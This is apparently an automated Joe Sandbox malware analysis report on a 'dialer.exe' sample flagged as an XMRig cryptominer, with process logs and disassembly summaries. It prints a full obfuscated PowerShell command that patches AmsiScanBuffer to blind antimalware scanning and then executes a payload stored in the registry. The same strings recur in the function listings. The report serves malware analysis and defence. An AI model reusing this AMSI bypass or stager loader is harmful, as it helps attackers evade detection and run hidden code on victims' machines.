MD5 hash:	B2626BDCF079C6516FC016AC5646DF93
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000041.00000002.2939799608.000002F62B721000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000041.00000002.2939799608.000002F62B6C9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000041.00000002.2936453016.0000000140001000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 00000041.00000002.2936453016.0000000140001000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
Has exited:	false

Show Windows behavior

Target ID:	66
Start time:	11:23:04
Start date:	25/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:DwpcGqRaxEQb{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$kwrQxTwRDzvgHI,[Parameter(Position=1)][Type]$doUOZqbWki)$ZycFOOCRuuH=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+''+[Char](102)+''+'l'+''+[Char](101)+''+[Char](99)+''+[Char](116)+''+[Char](101)+'d'+'D'+''+[Char](101)+'l'+[Char](101)+''+'g'+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+'M'+[Char](101)+''+[Char](109)+'o'+[Char](114)+'y'+'M'+'o'+[Char](100)+'u'+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+'e'+[Char](108)+''+'e'+'ga'+[Char](116)+''+[Char](101)+'T'+[Char](121)+''+[Char](112)+''+[Char](101)+'',''+[Char](67)+''+[Char](108)+'a'+'s'+''+[Char](115)+''+[Char](44)+''+[Char](80)+''+'u'+'b'+[Char](108)+''+[Char](105)+''+'c'+''+[Char](44)+''+'S'+''+[Char](101)+''+'a'+''+'l'+''+[Char](101)+''+[Char](100)+''+','+''+[Char](65)+''+[Char](110)+''+'s'+''+'i'+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](65)+''+[Char](117)+''+[Char](116)+''+'o'+''+[Char](67)+'lass',[MulticastDelegate]);$ZycFOOCRuuH.DefineConstructor(''+[Char](82)+'T'+[Char](83)+''+'p'+'e'+'c'+''+[Char](105)+''+[Char](97)+''+'l'+''+'N'+''+[Char](97)+''+[Char](109)+''+[Char](101)+','+[Char](72)+''+'i'+'d'+[Char](101)+'B'+[Char](121)+''+'S'+''+[Char](105)+''+[Char](103)+','+[Char](80)+'u'+'b'+'l'+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$kwrQxTwRDzvgHI).SetImplementationFlags(''+'R'+''+'u'+'nt'+'i'+'m'+[Char](101)+','+'M'+''+'a'+''+[Char](110)+''+[Char](97)+'g'+'e'+''+[Char](100)+'');$ZycFOOCRuuH.DefineMethod(''+[Char](73)+'n'+[Char](118)+''+'o'+''+'k'+''+'e'+'',''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+'c'+[Char](44)+'H'+[Char](105)+''+[Char](100)+''+[Char](101)+''+'B'+''+[Char](121)+'Sig'+','+''+[Char](78)+''+'e'+''+[Char](119)+''+'S'+''+[Char](108)+''+[Char](111)+''+[Char](116)+''+[Char](44)+''+[Char](86)+'ir'+[Char](116)+''+'u'+''+'a'+''+[Char](108)+'',$doUOZqbWki,$kwrQxTwRDzvgHI).SetImplementationFlags(''+'R'+''+'u'+''+'n'+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+'n'+'a'+''+[Char](103)+''+'e'+''+[Char](100)+'');Write-Output $ZycFOOCRuuH.CreateType();}$PIBnzpATGOiSb=([AppDomain]::CurrentDomain.GetAssemblies()\|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+''+[Char](115)+''+'t'+''+'e'+''+[Char](109)+''+[Char](46)+'d'+'l'+'l')}).GetType(''+[Char](77)+'i'+[Char](99)+''+[Char](114)+'o'+'s'+''+'o'+''+[Char](102)+''+[Char](116)+'.'+[Char](87)+'in'+[Char](51)+''+[Char](50)+''+'.'+'Uns'+[Char](97)+''+[Char](102)+'e'+'N'+''+[Char](97)+'t'+'i'+''+[Char](118)+'eM'+[Char](101)+''+[Char](116)+''+'h'+''+[Char](111)+''+'d'+'s');$BXLsZikXLBwiCU=$PIBnzpATGOiSb.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+'P'+[Char](114)+''+[Char](111)+''+[Char](99)+'Ad'+[Char](100)+'res'+[Char](115)+'',[Reflection.BindingFlags]('P'+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+'c,St'+[Char](97)+'ti'+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$PODdpwJbLVAeqmqHxFL=DwpcGqRaxEQb @([String])([IntPtr]);$yBpeaDKUEGooqcDLMYJxLn=DwpcGqRaxEQb @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$ckLkUNcHalt=$PIBnzpATGOiSb.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+'M'+'o'+[Char](100)+''+'u'+''+[Char](108)+''+[Char](101)+'H'+'a'+''+[Char](110)+''+'d'+''+[Char](108)+''+'e'+'').Invoke($Null,@([Object]('k'+[Char](101)+'r'+[Char](110)+''+[Char](101)+''+'l'+''+[Char](51)+''+'2'+''+[Char](46)+'dll')));$gtTuUeciWixJxL=$BXLsZikXLBwiCU.Invoke($Null,@([Object]$ckLkUNcHalt,[Object](''+[Char](76)+'o'+[Char](97)+''+'d'+'Li'+[Char](98)+'r'+[Char](97)+'ryA')));$XRPINnzEnujTAspan=$BXLsZikXLBwiCU.Invoke($Null,@([Object]$ckLkUNcHalt,[Object](''+[Char](86)+''+'i'+''+[Char](114)+'t'+[Char](117)+''+[Char](97)+''+[Char](108)+''+[Char](80)+''+[Char](114)+''+[Char](111)+'t'+'e'+''+'c'+''+'t'+'')));$DBzwtCM=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($gtTuUeciWixJxL,$PODdpwJbLVAeqmqHxFL).Invoke(''+[Char](97)+''+[Char](109)+'si'+'.'+''+[Char](100)+'ll');$DyCMYouZARyvvTbwm=$BXLsZikXLBwiCU.Invoke($Null,@([Object]$DBzwtCM,[Object](''+'A'+''+[Char](109)+''+'s'+''+[Char](105)+''+'S'+''+[Char](99)+'a'+'n'+'B'+'u'+''+[Char](102)+''+'f'+''+'e'+''+[Char](114)+'')));$GgVQgYCQUN=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($XRPINnzEnujTAspan,$yBpeaDKUEGooqcDLMYJxLn).Invoke($DyCMYouZARyvvTbwm,[uint32]8,4,[ref]$GgVQgYCQUN);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$DyCMYouZARyvvTbwm,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($XRPINnzEnujTAspan,$yBpeaDKUEGooqcDLMYJxLn).Invoke($DyCMYouZARyvvTbwm,[uint32]8,0x20,[ref]$GgVQgYCQUN);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+''+[Char](70)+'T'+[Char](87)+''+[Char](65)+''+'R'+''+[Char](69)+'').GetValue(''+[Char](100)+''+'i'+''+'a'+''+'l'+''+'e'+''+'r'+''+[Char](115)+''+'t'+''+'a'+''+'g'+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	67
Start time:	11:23:04
Start date:	25/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	68
Start time:	11:23:05
Start date:	25/12/2024
Path:	C:\Windows\System32\dllhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\dllhost.exe /Processid:{cf3d95db-0758-4a82-bfdc-72f769e75e83}
Imagebase:	0x7ff70f330000
File size:	21'312 bytes
MD5 hash:	08EB78E5BE019DF044C26B14703BD1FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	69
Start time:	11:23:05
Start date:	25/12/2024
Path:	C:\Windows\System32\winlogon.exe
Wow64 process (32bit):	false
Commandline:	winlogon.exe
Imagebase:	0x7ff7cd660000
File size:	906'240 bytes
MD5 hash:	F8B41A1B3E569E7E6F990567F21DCE97
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	70
Start time:	11:23:05
Start date:	25/12/2024
Path:	C:\Windows\System32\lsass.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\lsass.exe
Imagebase:	0x7ff7a2ae0000
File size:	59'456 bytes
MD5 hash:	A1CC00332BBF370654EE3DC8CDC8C95A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	71
Start time:	11:23:06
Start date:	25/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	72
Start time:	11:23:06
Start date:	25/12/2024
Path:	C:\Windows\System32\dwm.exe
Wow64 process (32bit):	false
Commandline:	"dwm.exe"
Imagebase:	0x7ff74e710000
File size:	94'720 bytes
MD5 hash:	5C27608411832C5B39BA04E33D53536C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	73
Start time:	11:23:06
Start date:	25/12/2024
Path:	C:\Windows\System32\dllhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\dllhost.exe /Processid:{0efb55d5-e8e1-4bc9-b3c4-28c83a2f4e5a}
Imagebase:	0x7ff70f330000
File size:	21'312 bytes
MD5 hash:	08EB78E5BE019DF044C26B14703BD1FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	74
Start time:	11:23:07
Start date:	25/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	75
Start time:	11:23:07
Start date:	25/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 00007FF712421140 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1727657135.00007FF712421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF712420000, based on PE: true

Associated: 00000000.00000002.1727623183.00007FF712420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727699824.00007FF71242C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727738634.00007FF71242F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727772505.00007FF712430000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728525064.00007FF71291F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728573416.00007FF712958000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff712420000_0Ty.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 808f824871d7e1a8eee0a1093264b3d0fd75ff3502bae8c0f48d855cf6986489
Instruction ID: f38de9a0cc0fc67c9b85663b298365090772ce3e75d74cb40ddf3daf2572c0f6
Opcode Fuzzy Hash: 808f824871d7e1a8eee0a1093264b3d0fd75ff3502bae8c0f48d855cf6986489
Instruction Fuzzy Hash: 30B09234904A4984E2013B82E84126862606B08750F810020C80C02352CEBD58648B61

Analysis Process: dialer.exePID: 8008, Parent PID: 7416COMMON

Execution Graph

Execution Coverage:	75.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	38.5%
Total number of Nodes:	96
Total number of Limit Nodes:	1

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 0000000140001C9C Relevance: 49.2, APIs: 22, Strings: 6, Instructions: 196
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 0000000140001CB7
HeapAlloc.KERNEL32 ref: 0000000140001CC8
GetProcessHeap.KERNEL32 ref: 0000000140001CE0
HeapAlloc.KERNEL32 ref: 0000000140001CEE

Part of subcall function 0000000140001000: CryptAcquireContextW.ADVAPI32 ref: 000000014000102F
Part of subcall function 0000000140001000: CryptGenRandom.ADVAPI32 ref: 0000000140001043
Part of subcall function 0000000140001000: CryptReleaseContext.ADVAPI32 ref: 0000000140001052

StrStrIW.KERNELBASE ref: 0000000140001D1A
StrStrIW.SHLWAPI ref: 0000000140001D4A
StrNCatW.SHLWAPI ref: 0000000140001D6D
StrCatW.SHLWAPI ref: 0000000140001D7D
StrCatW.SHLWAPI ref: 0000000140001E65
StrCatW.SHLWAPI ref: 0000000140001E73
StrCatW.SHLWAPI ref: 0000000140001E8D
StrNCatW.SHLWAPI ref: 0000000140001EA1
StrCatW.SHLWAPI ref: 0000000140001EB2
StrCatW.SHLWAPI ref: 0000000140001EC6
StrCatW.SHLWAPI ref: 0000000140001EE9
StrStrIW.SHLWAPI ref: 0000000140001F07
StrCatW.SHLWAPI ref: 0000000140001F27
StrCpyW.SHLWAPI ref: 0000000140001F33
GetProcessHeap.KERNEL32 ref: 0000000140001F39
HeapFree.KERNEL32 ref: 0000000140001F47
GetProcessHeap.KERNEL32 ref: 0000000140001F4D
HeapFree.KERNEL32 ref: 0000000140001F5B

Strings

'+', xrefs: 0000000140001E82, 0000000140001EA7
gfff, xrefs: 0000000140001DBF
'+[Char](, xrefs: 0000000140001E5A
gfff, xrefs: 0000000140001DEB
)+', xrefs: 0000000140001E79
0, xrefs: 0000000140001DAB

Memory Dump Source

Source File: 00000018.00000002.1719381504.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000018.00000002.1719365235.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.1719433628.0000000140002000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.1719433628.0000000140005000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_140000000_dialer.jbxd

Similarity

API ID: Heap$Process$Crypt$AllocContextFree$AcquireRandomRelease
String ID: '+'$'+[Char]($)+'$0$gfff$gfff
API String ID: 3510167801-2888743547
Opcode ID: 4c029fa0796edbe0ffa46a87d68ca35ae0ec6b91dd14a689a3b9c7fb106a92b8
Instruction ID: 860a95141ccdf47dad873dcb7fdad07428551a8c4d737b9ab5c8568f3082a9eb
Opcode Fuzzy Hash: 4c029fa0796edbe0ffa46a87d68ca35ae0ec6b91dd14a689a3b9c7fb106a92b8
Instruction Fuzzy Hash: 6A715CB2710B5696EB16DF67FC187D927A6FB89BC8F448025EE0A47B65DE38C509C300

Function 0000000140001614 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 121
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32 ref: 000000014000162A
SysAllocString.OLEAUT32 ref: 000000014000163A
CoInitializeEx.OLE32 ref: 0000000140001647
CoInitializeSecurity.COMBASE ref: 000000014000167E
CoCreateInstance.COMBASE ref: 00000001400016BE
VariantInit.OLEAUT32 ref: 00000001400016D0
VariantInit.OLEAUT32 ref: 0000000140001760
CoUninitialize.COMBASE ref: 00000001400017BF
SysFreeString.OLEAUT32 ref: 00000001400017C8
SysFreeString.OLEAUT32 ref: 00000001400017D1

Strings

dialersvc64, xrefs: 000000014000161B

Memory Dump Source

Source File: 00000018.00000002.1719381504.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000018.00000002.1719365235.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.1719433628.0000000140002000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.1719433628.0000000140005000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_140000000_dialer.jbxd

Similarity

API ID: String$AllocFreeInitInitializeVariant$CreateInstanceSecurityUninitialize
String ID: dialersvc64
API String ID: 2407135876-3881820561
Opcode ID: 3c97e4c5619ef6fd9796c7cadf22d1dacbe7654f614efe6a853fd620db2a3c93
Instruction ID: d87eb2bd9d729e9729409dc9478b0812213582aedf91d7913a1da9f61deadf9a
Opcode Fuzzy Hash: 3c97e4c5619ef6fd9796c7cadf22d1dacbe7654f614efe6a853fd620db2a3c93
Instruction Fuzzy Hash: B6510576704A458AEB11CF7AE8843DD63B1FB88B98F444226EF4E47A29DF38C149C340

Function 0000000140001984 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 61
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceExA.KERNEL32(?,?,?,?,?,0000000140001979), ref: 000000014000199C
SizeofResource.KERNEL32(?,?,?,?,?,0000000140001979), ref: 00000001400019B3
LoadResource.KERNEL32(?,?,?,?,?,0000000140001979), ref: 00000001400019C8
LockResource.KERNEL32(?,?,?,?,?,0000000140001979), ref: 00000001400019DA
RegOpenKeyExW.KERNELBASE(?,?,?,?,?,0000000140001979), ref: 0000000140001A04
RegSetValueExW.KERNELBASE(?,?,?,?,?,0000000140001979), ref: 0000000140001A2A

Part of subcall function 0000000140001A7C: GetProcessHeap.KERNEL32 ref: 0000000140001A85
Part of subcall function 0000000140001A7C: HeapAlloc.KERNEL32 ref: 0000000140001A96
Part of subcall function 0000000140001A7C: StrCpyW.SHLWAPI ref: 0000000140001AA9
Part of subcall function 0000000140001A7C: StrCatW.SHLWAPI ref: 0000000140001ADF
Part of subcall function 0000000140001A7C: StrCatW.SHLWAPI ref: 0000000140001AEF
Part of subcall function 0000000140001A7C: StrCatW.SHLWAPI ref: 0000000140001AFF
Part of subcall function 0000000140001A7C: StrCatW.SHLWAPI ref: 0000000140001B0F
Part of subcall function 0000000140001A7C: StrCatW.SHLWAPI ref: 0000000140001B1F

Part of subcall function 00000001400017EC: SysAllocString.OLEAUT32 ref: 0000000140001802
Part of subcall function 00000001400017EC: SysAllocString.OLEAUT32 ref: 0000000140001812
Part of subcall function 00000001400017EC: CoInitializeEx.COMBASE ref: 000000014000181F
Part of subcall function 00000001400017EC: CoInitializeSecurity.COMBASE ref: 0000000140001856
Part of subcall function 00000001400017EC: CoCreateInstance.COMBASE ref: 0000000140001896
Part of subcall function 00000001400017EC: VariantInit.OLEAUT32 ref: 00000001400018A8
Part of subcall function 00000001400017EC: CoUninitialize.COMBASE ref: 0000000140001942
Part of subcall function 00000001400017EC: SysFreeString.OLEAUT32 ref: 000000014000194B
Part of subcall function 00000001400017EC: SysFreeString.OLEAUT32 ref: 0000000140001954

Part of subcall function 000000014000117C: SysAllocString.OLEAUT32 ref: 00000001400011A7
Part of subcall function 000000014000117C: SysAllocString.OLEAUT32 ref: 00000001400011B7
Part of subcall function 000000014000117C: SysAllocString.OLEAUT32 ref: 00000001400011C7
Part of subcall function 000000014000117C: SysAllocString.OLEAUT32 ref: 00000001400011D3
Part of subcall function 000000014000117C: SysAllocString.OLEAUT32 ref: 00000001400011E3
Part of subcall function 000000014000117C: SysAllocString.OLEAUT32 ref: 00000001400011F3
Part of subcall function 000000014000117C: CoInitializeEx.COMBASE ref: 0000000140001200
Part of subcall function 000000014000117C: CoInitializeSecurity.COMBASE ref: 0000000140001237
Part of subcall function 000000014000117C: CoCreateInstance.COMBASE ref: 0000000140001279
Part of subcall function 000000014000117C: VariantInit.OLEAUT32 ref: 000000014000128B

Part of subcall function 0000000140001614: SysAllocString.OLEAUT32 ref: 000000014000162A
Part of subcall function 0000000140001614: SysAllocString.OLEAUT32 ref: 000000014000163A
Part of subcall function 0000000140001614: CoInitializeEx.OLE32 ref: 0000000140001647
Part of subcall function 0000000140001614: CoInitializeSecurity.COMBASE ref: 000000014000167E
Part of subcall function 0000000140001614: CoCreateInstance.COMBASE ref: 00000001400016BE
Part of subcall function 0000000140001614: VariantInit.OLEAUT32 ref: 00000001400016D0
Part of subcall function 0000000140001614: VariantInit.OLEAUT32 ref: 0000000140001760

Strings

dialerstager, xrefs: 0000000140001A1B
dialersvc32, xrefs: 0000000140001A39
dialersvc64, xrefs: 0000000140001A48
SOFTWARE, xrefs: 00000001400019E6
EXE, xrefs: 000000014000198E

Memory Dump Source

Source File: 00000018.00000002.1719381504.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000018.00000002.1719365235.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.1719433628.0000000140002000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.1719433628.0000000140005000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_140000000_dialer.jbxd

Similarity

API ID: String$Alloc$Initialize$InitResourceVariant$CreateInstanceSecurity$FreeHeap$FindLoadLockOpenProcessSizeofUninitializeValue
String ID: EXE$SOFTWARE$dialerstager$dialersvc32$dialersvc64
API String ID: 2204944113-1859800454
Opcode ID: 26ae1522833f5bd9fa9188c5454cc5176b5189f098da63ea7365dd9a7c369b54
Instruction ID: 1bfe2c02107bc6537b2911a47a34f854c4b6e53c22e939ebebcbb702dcfd335c
Opcode Fuzzy Hash: 26ae1522833f5bd9fa9188c5454cc5176b5189f098da63ea7365dd9a7c369b54
Instruction Fuzzy Hash: D5213BBA30570152EA26DF63B8143E963A1AB8DBD0F484125FB49477BAEF3CC604C600

Function 0000000140001000 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextW.ADVAPI32 ref: 000000014000102F
CryptGenRandom.ADVAPI32 ref: 0000000140001043
CryptReleaseContext.ADVAPI32 ref: 0000000140001052

Strings

Microsoft Base Cryptographic Provider v1.0, xrefs: 000000014000101C

Memory Dump Source

Source File: 00000018.00000002.1719381504.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000018.00000002.1719365235.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.1719433628.0000000140002000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.1719433628.0000000140005000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_140000000_dialer.jbxd

Similarity

API ID: Crypt$Context$AcquireRandomRelease
String ID: Microsoft Base Cryptographic Provider v1.0
API String ID: 1815803762-291530887
Opcode ID: 0ddbc8895b0669cb0ada80a9b3cf58f5140d61cb55c0be0e277e251b20bcd660
Instruction ID: 74dd50a8ca20c1687fe1fd25669d783deb6ceb092ba3a030a89a64c3b25fe62d
Opcode Fuzzy Hash: 0ddbc8895b0669cb0ada80a9b3cf58f5140d61cb55c0be0e277e251b20bcd660
Instruction Fuzzy Hash: 28F01976700B4082E711CB67E88438AA7A2BBCCB80F498025DB5947729DEB4C956C740

Function 0000000140001A7C Relevance: 45.6, APIs: 8, Strings: 18, Instructions: 85
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 0000000140001A85
HeapAlloc.KERNEL32 ref: 0000000140001A96
StrCpyW.SHLWAPI ref: 0000000140001AA9

Part of subcall function 000000014000114C: GetModuleHandleA.KERNEL32 ref: 0000000140001157
Part of subcall function 000000014000114C: GetProcAddress.KERNEL32 ref: 000000014000116E

StrCatW.SHLWAPI ref: 0000000140001ADF
StrCatW.SHLWAPI ref: 0000000140001AEF
StrCatW.SHLWAPI ref: 0000000140001AFF
StrCatW.SHLWAPI ref: 0000000140001B0F
StrCatW.SHLWAPI ref: 0000000140001B1F

Strings

function Local:Get-Delegate{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$ParameterTypes,[Parameter(Position=1)][Type], xrefs: 0000000140001AD5
LoadLibraryPtr, xrefs: 0000000140001BB4
[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$AmsiScanBufferPtr,6);, xrefs: 0000000140001AE5
AmsiPtr, xrefs: 0000000140001BD2
LoadLibraryDelegate, xrefs: 0000000140001B87
NativeMethods, xrefs: 0000000140001B69
GetProcAddress, xrefs: 0000000140001B78
VirtualProtectPtr, xrefs: 0000000140001BC3
ReturnType, xrefs: 0000000140001B4B
TypeBuilder, xrefs: 0000000140001B5A
OldProtect, xrefs: 0000000140001BF0
AmsiScanBufferPtr, xrefs: 0000000140001BE1
[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(`SOFTWARE`).GetValue(`dialerstager`)).EntryPoint.I, xrefs: 0000000140001B05
Get-Delegate, xrefs: 0000000140001B2D
ParameterTypes, xrefs: 0000000140001B3C
VirtualProtectDelegate, xrefs: 0000000140001B96
Kernel32Ptr, xrefs: 0000000140001BA5
[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectPtr,$VirtualProtectDelegate).Invoke($AmsiScanBuffe, xrefs: 0000000140001AF5

Memory Dump Source

Source File: 00000018.00000002.1719381504.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000018.00000002.1719365235.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.1719433628.0000000140002000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.1719433628.0000000140005000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_140000000_dialer.jbxd

Similarity

API ID: Heap$AddressAllocHandleModuleProcProcess
String ID: AmsiPtr$AmsiScanBufferPtr$Get-Delegate$GetProcAddress$Kernel32Ptr$LoadLibraryDelegate$LoadLibraryPtr$NativeMethods$OldProtect$ParameterTypes$ReturnType$TypeBuilder$VirtualProtectDelegate$VirtualProtectPtr$[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(`SOFTWARE`).GetValue(`dialerstager`)).EntryPoint.I$[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$AmsiScanBufferPtr,6);$[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectPtr,$VirtualProtectDelegate).Invoke($AmsiScanBuffe$function Local:Get-Delegate{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$ParameterTypes,[Parameter(Position=1)][Type]
API String ID: 3242894177-3709903795
Opcode ID: b1fc34ca39e6db4a99ca0f74ce53aae3f3c4af68fd0d05a2b9d2c7ccdd3fe5d3
Instruction ID: 14a767466f4e457cf388ac16d0af6f49bf344e7045f9ae0e12022511aa144a10
Opcode Fuzzy Hash: b1fc34ca39e6db4a99ca0f74ce53aae3f3c4af68fd0d05a2b9d2c7ccdd3fe5d3
Instruction Fuzzy Hash: 38416BF8284702A1FA1BEF17B8557D52365A78DBC5F846261BE0A473B69EBCC108C394

Function 000000014000117C Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 281
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

